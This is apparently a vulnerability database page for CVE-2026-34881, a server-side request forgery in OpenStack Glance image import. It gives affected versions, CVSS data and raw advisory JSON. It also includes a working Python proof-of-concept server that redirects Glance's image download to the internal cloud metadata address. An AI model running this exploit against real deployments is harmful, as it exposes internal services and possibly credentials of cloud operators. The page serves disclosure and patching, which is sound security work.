Security Vulnerability Report
中文
CVE-2026-34881 CVSS 5.0 MEDIUM

CVE-2026-34881

Published: 2026-03-31 06:16:01
Last Modified: 2026-04-14 01:51:49

Description

OpenStack Glance before 29.1.1, 30.x before 30.1.1, and 31.0.0 is affected by Server-Side Request Forgery (SSRF). By use of HTTP redirects, an authenticated user can bypass URL validation checks and redirect to internal services. Only glance image import functionality is affected. In particular, the web-download and glance-download import methods are subject to this vulnerability, as is the optional (not enabled by default) ovf_process image import plugin.

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:openstack:glance:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openstack:glance:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openstack:glance:31.0.0:*:*:*:*:*:*:* - VULNERABLE
OpenStack Glance < 29.1.1
OpenStack Glance 30.x < 30.1.1
OpenStack Glance 31.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # Proof of Concept for CVE-2026-34881 # This script demonstrates a malicious server that redirects requests to internal services. from http.server import HTTPServer, BaseHTTPRequestHandler class MaliciousRedirectHandler(BaseHTTPRequestHandler): def do_GET(self): # Log the incoming request print(f"[+] Request received from: {self.client_address[0]}") # Send a 302 Redirect to an internal service (e.g., metadata service) internal_target = "http://169.254.169.254/latest/meta-data/" self.send_response(302) self.send_header('Location', internal_target) self.end_headers() self.wfile.write(b"Redirecting to internal service...") def run_server(port=80): server_address = ('', port) httpd = HTTPServer(server_address, MaliciousRedirectHandler) print(f"[*] Malicious redirect server listening on port {port}") print(f"[*] Attacker uses this URL in Glance: http://<attacker_ip>:{port}/image.iso") httpd.serve_forever() if __name__ == "__main__": run_server()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34881", "sourceIdentifier": "[email protected]", "published": "2026-03-31T06:16:01.130", "lastModified": "2026-04-14T01:51:48.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenStack Glance before 29.1.1, 30.x before 30.1.1, and 31.0.0 is affected by Server-Side Request Forgery (SSRF). By use of HTTP redirects, an authenticated user can bypass URL validation checks and redirect to internal services. Only glance image import functionality is affected. In particular, the web-download and glance-download import methods are subject to this vulnerability, as is the optional (not enabled by default) ovf_process image import plugin."}, {"lang": "es", "value": "OpenStack Glance &lt;29.1.1, &gt;=30.0.0 &lt;30.1.1, ==31.0.0 se ve afectado por Falsificación de Petición del Lado del Servidor (SSRF). Mediante el uso de redirecciones HTTP, un usuario autenticado puede eludir las comprobaciones de validación de URL y redirigir a servicios internos. Solo la funcionalidad de importación de imágenes de Glance se ve afectada. En particular, los métodos de importación web-download y glance-download están sujetos a esta vulnerabilidad, al igual que el plugin de importación de imágenes ovf_process opcional (no habilitado por defecto)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openstack:glance:*:*:*:*:*:*:*:*", "versionEndExcluding": "29.1.1", "matchCriteriaId": "325D2E1E-9F38-4214-BE62-4D8B009843C9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openstack:glance:*:*:*:*:*:*:*:*", "versionStartIncluding": "30.0.0", "versionEndExcluding": "30.1.1", "matchCriteriaId": "60818EB5-7DE4-47E5-A1B5-62EDDE6B7A86"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openstack:glance:31.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "9E45E722-E69D-4C9D-A6F0-C96AC2335AB2"}]}]}], "references": [{"url": "https://bugs.launchpad.net/glance/+bug/2138602", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://security.openstack.org/ossa/OSSA-2026-004.html", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://bugs.launchpad.net/glance/+bug/2138602", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}